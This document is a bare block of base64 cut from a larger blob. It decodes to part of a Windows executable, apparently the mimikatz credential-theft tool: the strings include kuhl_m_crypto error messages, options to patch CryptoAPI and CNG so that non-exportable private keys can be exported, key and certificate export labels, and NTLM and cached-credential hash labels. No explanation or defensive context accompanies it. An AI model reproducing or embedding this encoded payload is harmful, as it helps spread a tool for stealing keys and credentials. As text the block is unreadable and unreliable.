BzAHQAdQBtAGUAcgBJAGQAIAA6ACAAJQBTAAoAAAAAAAAAAAAgACAAIAAgAE0AbwBkAGUAbAAgACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAAAAAAAAgACAAIAAgAFMAZQByAGkAYQBsACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAAAAAAAAgACAAIAAgAE0AZgBnAF8ASQBEACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAAAAAAAAgACAAIAAgAE0AZgBnAF8ARABhAHQAZQAgACAAIAA6ACAAJQBTAAoAAAAAAAAAAAAgACAAIAAgAHMAdwByAGUAbABlAGEAcwBlACAAIAA6ACAAJQBTAAoAAAAAAAAAAAAAAAAAAAAAACAAIABLAGUAZQBwAEEAbABpAHYAZQAgAFQAaAByAGUAYQBkADoAIAAwAHgAJQBwACAAKAAlAHUAIABtAHMAKQAKACAAIABXAG8AcgBrAGUAcgAgAFQAaAByAGUAYQBkACAAIAAgADoAIAAwAHgAJQBwACAAKAAlAHUAIABtAHMAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAHQAYQB0AHUAcwAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAAAAAAFsAJQAzAHUAXQAgACUAcwAgACgAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGwAaQBzAHQAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHMAbwB1AG4AZAAAAAAAAABjAG8AbABvAHIAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcwBpAG4AZwBsAGUAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAAAAAABwAHIAbwB2AGkAZABlAHIAcwAAAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAAAAAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcwB0AG8AcgBlAHMAAAAAAAAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAAAAAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAAAAAAAAAawBlAHkAcwAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABrAGUAeQBzACAAYwBvAG4AdABhAGkAbgBlAHIAcwAAAAAAcwBjAAAAAAAAAAAATABpAHMAdAAgAHMAbQBhAHIAdABjAGEAcgBkACAAcgBlAGEAZABlAHIAcwAAAAAASABhAHMAaAAgAGEAIABwAGEAcwBzAHcAbwByAGQAIAB3AGkAdABoACAAbwBwAHQAaQBvAG4AYQBsACAAdQBzAGUAcgBuAGEAbQBlAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAAVwBpAG4AZABvAHcAcwAgAFMAeQBzAHQAZQBtACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAKABmAGkAbABlACwAIABUAE8ARABPADoAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQApAAAAcwBjAGEAdQB0AGgAAAAAAAAAAAAAAAAAQwByAGUAYQB0AGUAIABhACAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAAYwBlAHIAdABpAHQAaQBmAGEAdABlACAAKABzAG0AYQByAHQAYwBhAHIAZAAgAGwAaQBrAGUAKQAgAGYAcgBvAG0AIABhACAAQwBBAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwBOAEcAIABzAGUAcgB2AGkAYwBlACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAAAAAABjAHIAeQBwAHQAbwAAAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAAAAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAAAAAAG4AYwByAHkAcAB0AAAAAABOQ3J5cHRPcGVuU3RvcmFnZVByb3ZpZGVyAAAAAAAAAE5DcnlwdEVudW1LZXlzAABOQ3J5cHRPcGVuS2V5AAAATkNyeXB0SW1wb3J0S2V5AE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAAAAAABOQ3J5cHRTZXRQcm9wZXJ0eQAAAAAAAABOQ3J5cHRGcmVlQnVmZmVyAAAAAAAAAABOQ3J5cHRGcmVlT2JqZWN0AAAAAAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABwAHIAbwB2AGkAZABlAHIAcwAgADoACgAAACUAMgB1AC4AIAAlAC0AMQAzAHMAIAAoACUAMgB1ACkAIAAtACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAcwA6AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAFQAeQBwAGUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAAAAAAJQAyAHUALgAgACUAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAbQBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHMAaQBsAGUAbgB0AAAAAABuAG8AawBlAHkAAABNAHkAAAAAAAAAAABzAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAAAAAAAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAGsAZQB5AFMAcABlAGMAIAA9AD0AIABDAEUAUgBUAF8ATgBDAFIAWQBQAFQAXwBLAEUAWQBfAFMAUABFAEMAIAB3AGkAdABoAG8AdQB0ACAAQwBOAEcAIABIAGEAbgBkAGwAZQAgAD8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAACgAlADIAdQAuACAAJQBzAAoAAAAAAAAAIAAgACAAIAAlAFMACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAEMAcgB5AHAAdABHAGUAdABQAHIAbwB2AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAHQAeQBwAGUAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKAEMATgBHACAAawBlAHkAcwAgADoACgAAAAAAAAAAAFUAbgBpAHEAdQBlACAATgBhAG0AZQAAACAAIAAgACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAAAAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAUgBTAEEAUABSAEkAVgBBAFQARQBCAEwATwBCAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAATgBvACAAQwBOAEcAIQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAATwBLAAAAAABLAE8AAAAAAAkAUAByAGkAdgBhAHQAZQAgAGUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAAACcAJQBzACcACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcABmAHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAcwBfACUAcwBfACUAdQBfACUAcwAuACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAXwBwAHIAbwB2AHQAeQBwAGUAZgByAG8AbQBuAGEAbQBlACAAOwAgAEMAcgB5AHAAdABFAG4AdQBtAFAAcgBvAHYAaQBkAGUAcgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABTAEMAYQByAGQAJABBAGwAbABSAGUAYQBkAGUAcgBzAAAAAAAAAAAAUwBtAGEAcgB0AEMAYQByAGQAIAByAGUAYQBkAGUAcgBzADoACgAAAAoAIAAqACAAJQBzAAoAAAAgACAAIAAgAEEAVABSACAAIAA6ACAAAAAgACAAIAAgAE0AbwBkAGUAbAA6ACAAJQBzAAoAAAAAACAAIAAgACAAQwBTAFAAIAAgADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEwAaQBzAHQAQwBhAHIAZABzADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjACAAOwAgAFMAQwBhAHIAZABHAGUAdABBAHQAdAByAGkAYgA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQAQwBvAG4AbgBlAGMAdAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEwAaQBzAHQAUgBlAGEAZABlAHIAcwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjACAAOwAgAFMAQwBhAHIAZABFAHMAdABhAGIAbABpAHMAaABDAG8AbgB0AGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAE4AVABMAE0AOgAgAAAAAABEAEMAQwAxADoAIAAAAAAARABDAEMAMgA6ACAAAAAAAEwATQAgACAAOgAgAAAAAABNAEQANQAgADoAIAAAAAAAUwBIAEEAMQA6ACAAAAAAAFMASABBADIAOgAgAAAAAABbACUAMAA0AHgALwAlAHgAXQAgACUAcwAKAAAAIAAgAAAAAAAAAAAAUAByAG8AdgBpAGQAZQByACAAaQBuAGYAbwA6AAoAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAAAAAAAAAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAkAUABhAHIAYQBtACAAKAB0AG8AZABvACkAIAAgACAAOgAgACUAMAA4AHgAIAAvACAAJQAwADgAeAAKAAAAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHMAeQBzAHQAZQBtACAAOwAgAEkAbgBwAHUAdAAgAE0AaQBjAHIAbwBzAG8AZgB0ACAAQwByAHkAcAB0AG8AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AZgBpAGwAZQA6AGYAaQBsAGUAbgBhAG0AZQB8AGQAaQByAGUAYwB0AG8AcgB5ACkACgAAAGMAcgBsAAAAYwB0AGwAAABrAGUAeQBpAGQAAAAAAAAARABhAHQAYQA6ACAAAAAAACUAcwAuACUAcwAAAAAAAABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlADoAIAAlAHMACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZgBpAGwAZQBfAHIAYQB3AEQAYQB0AGEAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAXwBxAHUAaQBjAGsARQBuAGMAbwBkAGUAIAA7ACAAQwByAHkAcAB0AEUAbgBjAG8AZABlAE8AYgBqAGUAYwB0ACAAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoAF8AcQB1AGkAYwBrAEUAbgBjAG8AZABlACAAOwAgAEMAcgB5AHAAdABFAG4AYwBvAGQAZQBPAGIAagBlAGMAdAAgACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAADEuMy42LjEuNC4xLjMxMS4yMC4yLjMAADIuNS4yOS4xNwAAAAAAAAAyLjUuMjkuMTUAAAAAAAAAMi41LjI5LjM3AAAAAAAAADIuNS40LjMAMi41LjQuMTAAAAAAAAAAADIuNS40LjYARgBSAAAAAABMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAAAAAAAAAGMAYQBzAHQAbwByAGUAAABjAGEAbgBhAG0AZQAAAAAAdQBwAG4AAABDAEEAIABzAHQAbwByAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABDAEEAIABuAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABDAEEAIAB2AGEAbABpAGQAaQB0AHkAIAAgACAAIAA6ACAAAAAAAAAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAVQBQAE4AOgAgACUAcwAKAAAAAAAAAAAAMS4zLjYuMS41LjUuNy4zLjIAAAAAAAAAMS4zLjYuMS40LjEuMzExLjIwLjIuMgAASwBlAHkAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAKAAAAAAAAAAAASwBlAHkAIABwAHIAbwB2AGkAZABlAHIAIAAgACAAOgAgACUAcwAKAAAAAAAAAAAAUAByAGkAdgBhAHQAZQAgAEUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAlAHMACgAAAAAAAAAAAAAAAAAAAFAAcgBpAHYAYQB0AGUAIABTAHQAbwByAGUAIAAgADoAIABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgAvAE0AeQAgAC0AIAAlAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAEMAcgB5AHAAdABTAGkAZwBuAEEAbgBkAEUAbgBjAG8AZABlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgACgAZABhAHQAYQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABDAHIAeQBwAHQAUwBpAGcAbgBBAG4AZABFAG4AYwBvAGQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAAoAGkAbgBpAHQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwByAHkAcAB0AEUAeABwAG8AcgB0AFAAdQBiAGwAaQBjAEsAZQB5AEkAbgBmAG8AIAAoAGQAYQB0AGEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAEMAcgB5AHAAdABFAHgAcABvAHIAdABQAHUAYgBsAGkAYwBLAGUAeQBJAG4AZgBvACAAKABpAG4AaQB0ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABDAHIAeQBwAHQARwBlAG4ASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABkAGUAbABlAHQAZQAgAHQAZQBtAHAAIABrAGUAeQBzAGUAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBP